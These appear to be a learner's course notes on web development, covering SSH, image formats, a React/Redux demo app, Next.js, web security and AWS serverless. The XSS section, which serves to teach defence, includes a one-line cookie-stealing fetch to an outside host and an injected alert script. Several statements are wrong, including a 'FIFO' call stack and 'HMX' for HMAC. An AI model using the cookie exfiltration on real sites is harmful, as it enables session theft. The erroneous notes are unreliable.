Ssh (secure shell) - Protocol

It's a protocol to use over shell, the significant advantage offer by SSH over its predecessors is the use of encryption to ensure secure transfer of information between host and the client.

The host refers to the remote server you're trying to access, while the client is the computer you're using to access the host.

Symmetrical Encryption

key exchange algorithm - A secure way to exchange these keys without any bad actors intercepting it. the key is never actually transmitted between the client and the host. Instead, the two computers share public pieces of data and then manipulate it to independently calculate the secret key.

Asymmetrical Encryption

Diffie Hellman Key Exchange - what it does basically is that it uses a bit of this information a bit of the public keys to generate without ever exchanging the keys. Each machine on its computer can generate this symmetric key from data from each computer. makes it possible for each party to combine their own private data with public data from other systems to arrive at an identical secret session key.

Hashing

HMX (hash based message authentication codes)

So how can the host check that the message hasn't been tampered with. Well what they can do now is because they have the same information they can use their own symmetric key which is the same as the clients. They can use the packet sequence number again which they both know and then because this message was sent through Ssh they also have that message that was sent. So now they run it through the same hash function again. And once it calculates it it's going to see does what I just generated match what the client hash was. And if it does match well that means that this message was not tampered

Optimize

Jpeg - used for photos, images and things with many colors such as photographs. Downside is that they don’t allow for transparency.

Gif - limit total colors that you can use in a GIF somewhere between 2 to 256 and reducing the color count least to huge false savings. Good for small animation.

Png - limits the number of colors you can use and they tend to be a lot smaller in size than JPG. can add transparancy.

Svg - is a completely different category from all the other 3 file format, there are actually something call vector graphics. It can be expand to several times its original size and it will be just as sharp as the original. Incredible small good for 4k displays.

https://99designs.com/blog/tips/image-file-types/

https://www.sitepoint.com/gif-png-jpg-which-one-to-use/

Http/2

In theory it can have one connection for something called parallelism so 1 connection has many files sent into it.

Introduction to HTTP/2

Http/3

React + Redux + Module Bundling

State is simply an object that describe of your app.

npm install -g create-react-app
create-react-app robofriends

export const robots = [
  {
    id: 1,
    name: 'Leanne Graham 1',
    username: 'Bret 1',
    email: 'Sincere@april.biz'
  },{
    id: 2,
    name: 'Leanne Graham 2',
    username: 'Bret 2',
    email: 'Sincere@april.biz'
  },{
    id: 3,
    name: 'Leanne Graham 3',
    username: 'Bret 3',
    email: 'Sincere@april.biz'
  },{
    id: 4,
    name: 'Leanne Graham 4',
    username: 'Bret 4',
    email: 'Sincere@april.biz'
  }
]

import React from 'react';
import ReactDOM from 'react-dom/client';
import './index.css';
import App from './containers/App'
import 'tachyons';
//import reportWebVitals from './reportWebVitals';

const root = ReactDOM.createRoot(document.getElementById('root'));
root.render(
  <React.StrictMode>
    <App />
  </React.StrictMode>
);

//import { robots } from './robots'
import CardList from '../components/CardList'
import SearchBox from '../components/SearchBox'
import Scroll from '../components/Scroll'
import { Component } from 'react'

class App extends Component {
  constructor() {
    super()
    this.state = {
      robots: [],
      searchfield: ''
    }
  }

  componentDidMount() {
    fetch('<https://jsonplaceholder.typicode.com/users>')
      .then(response => response.json())
      .then(users => this.setState({robots: users}));
  }

  onSearchChange = (event) => {
    this.setState({ searchfield: event.target.value})
  }
  render() {
    const { robots, searchfield } = this.state;
      const filteredRobots = robots.filter(robot => {
        return robot.name.toLowerCase().includes(searchfield.toLowerCase());
      })
      return !robots.length ?
      <h1>Loading</h1> :
      (
        <div className="tc">
          <h1>Robofriends</h1>
          <SearchBox searchChange={this.onSearchChange} />
          <Scroll>
            <CardList robots={filteredRobots} /> 
          </Scroll>
        </div>
      )
  }
}
export default App;

import Card from './Card'
const CardList = ({robots}) => {
  return (
    <div >
    {
      robots.map((user,i) => {
        return (
        <Card key={i} id={robots[i].id} name={robots[i].name} email={robots[i].email}/>
        );
      })
    }
    </div>
  );
};
export default CardList;

const Card = ({ name, email, id }) => {
  return (
    <div className="bg-light-green dib br3 pa3 ma2 grow bw2 shadow-5 tc">
       <h1>Robofriends</h1>
      <img alt="robots" src={`https://robohash.org/${id}?200x200`} />
      <div>
        <h2>{name}</h2>
        <p>{email}</p>
      </div>
    </div>
  )
}

export default Card;

const SearchBox = ({searchfield, searchChange}) => {
  return (
    <div className="pa2">
      <input 
        className="pa3 ba b--green bg-lightest-blue"
        type="search" 
        placeholder="search robots" 
        onChange={searchChange}
      />
    </div>
  );
}
export default SearchBox;

const Scroll = (props) => {
  console.log(props);
  return (
    <div style={{overflowY:'scroll', border: '1px solid black', height: '800px'}}>
      {props.children}
    </div>
  )
}

export default Scroll;

robofriends.zip

State management

no state management

state management using redux

Why redux?

good for managing large state
useful for sharing data between containers
predictable state management using the 3 principles

The 3 principles

single source of truth
state is read only
changes using pure functions

How javascript works

Javascript is a single-threaded language that can be non-blocking, has 1 call stack FIFO

synchronous programming means each line gets executed.

Stackoverflow

Redux

npm install redux
npm install react-redux

Using provider, connect.

import { Provider, connect } from 'react-redux';
import { createStore } from 'redux';
import { searchRobots } from './reducers';

const store = createStore(searchRobots);
<Provider store={store}>
  <App />
</Provider>

Performance

tools - webpagetest.org

Spa vs Server Side

Example : producthunt.com (SPA)

Cons SPA - Load initial takes a lot & SEO

CSR vs SSR

Pros - Rich interaction, faster response, web application

Cons - Low SEO potential, Longer initial load

Pros - Static sites, SEO, Initial Page Load

Cons - Full page Reloads, Slower page rendering

SSR Next

npm install next react react-dom

npm install isomorphic-unfetch

import Link from 'next/link';
import fetch from 'isomorphic-unfetch';

const Robots = (props) => {
  return (
    <div>
      <h1>Robots</h1>
      <Link href="/">
        Index
      </Link>
      <Link href="/about">
        About
      </Link>
      <Link href="/robots">
        Robots
      </Link>
      <div>
        {
          props.robots.map(robot => (
            <li key={robot.id}>
              <Link href={`robots/${robot.id}`}>
              {robot.name}
              </Link>
            </li>
          ))
        }
      </div>
    </div>
  )
}

Robots.getInitialProps = async function() {
  const res = await fetch('<https://jsonplaceholder.typicode.com/users>')
  const data = await res.json()
  return {
    robots: data
  }
}

export default Robots;

Security

Injections

Sanitize input, Parametrize Queries, Knex.js or other ORMS

https://www.hacksplaining.com/exercises/sql-injection

3rd party libraries

nsp to audit package.json

synk to audit node_modules

Logging

Morgan use as middleware to log http

Winston a logger use for everything ( like console.log) but winston.log(’info - ‘)

Https

lets encrypt & cloudflare

XSS & CSRF

Cross site scripting occurs whenever an application includes untrusted data in a anew page without proper validation or escaping or updating a web page with user supplied data using javascript.

It allows an attacker to execute scripts in a victim’s browser

fetch(’//httpbin.org/post’, {method: ‘POST’, body: document.cookie})

#Example using nodejs
app.get('/', (req,res) => {
	res.cookie('session', '1', { httpOnly: true })
	res.cookie('session', '1', { secure: true })

	res.set({
		'Content-Security-Policy": "script-src 'self' '<https://apis.google.com>'",

	})
})

# in console to test it out
document.write('<script>alert("test");</script>')

exercise xss - https://www.hacksplaining.com/exercises/xss-stored

protecting your users against cross-site scripting

exercise csrf - https://www.hacksplaining.com/exercises/csrf

protecting your users against csrf

Code secret

Example - Environment Variables, commit history

Secure Headers

https://github.com/helmetjs/helmet

npm install helmet

const helmet = require('helmet');
app.use(helmet());

HTTP - Header Fields

HTTP: The Protocol Every Web Developer Must Know—Part 1

Access Control

Principal of least privilege

Data Management

bcrypt, scrypt, Aragon2

pgcrypto - encrypt a few columns

Don’t trust anyone

Authentication

https://www.hacksplaining.com/lessons

AWS

Serverless

sudo npm install -g serverless
serverless create -t aws-nodejs // will create files
serverless configcredentials --provider aws --key {iamkey} --secret {iamsecret} // will create .aws

'use strict';

const emojis = [
  '😄','😃','😀','😊','😉','😍','🔶','🔷', '🚀'
];
module.exports.hello = (event, context, callback) => {
  const rank = event.queryStringParameters.rank;
  const rankEmoji = emojis[rank > emojis.length ? emojis.length - 1 : rank];
  const response = {
    statusCode: 200,
    headers: {
      "Access-Control-Allow-Origin" : "*" // Required for CORS support to work
    },
    body: JSON.stringify({
      message: 'Rank generated!',
      input: rankEmoji,
    }),
  };

  callback(null, response);

  // Use this code if you don't use the http event with the LAMBDA-PROXY integration
  // callback(null, { message: 'Go Serverless v1.0! Your function executed successfully!', event });
};

Performance

Database Scaling

Identify inefficient queries
Increase memory
vertical scaling (redis, memcached)
sharding
more databases
database type

Caching

Caching is the process of storing some data in cache, cache is a temporary storage component are where the data is stored so that in future can be served faster.

Load balancing

it’s a way for us to balance multiple request at the same time and distributed them to different services.

// test concurrent users
npm install -g loadtest
loadtest -t 1 -c 100 --rps 100 <http://localhost:8000>

The complete junior to senior developer - Notes

Ssh (secure shell) - Protocol

Symmetrical Encryption

Asymmetrical Encryption

Hashing

HMX (hash based message authentication codes)

Optimize

Http/2

Http/3

React + Redux + Module Bundling

State management

How javascript works

Redux

Performance

Spa vs Server Side

CSR vs SSR

SSR Next

Security

Injections

3rd party libraries

Logging

Https

XSS & CSRF

Code secret

Secure Headers

Access Control

Data Management

Don’t trust anyone

Authentication

AWS

Serverless

Performance

Database Scaling

Caching

Load balancing

CI / CD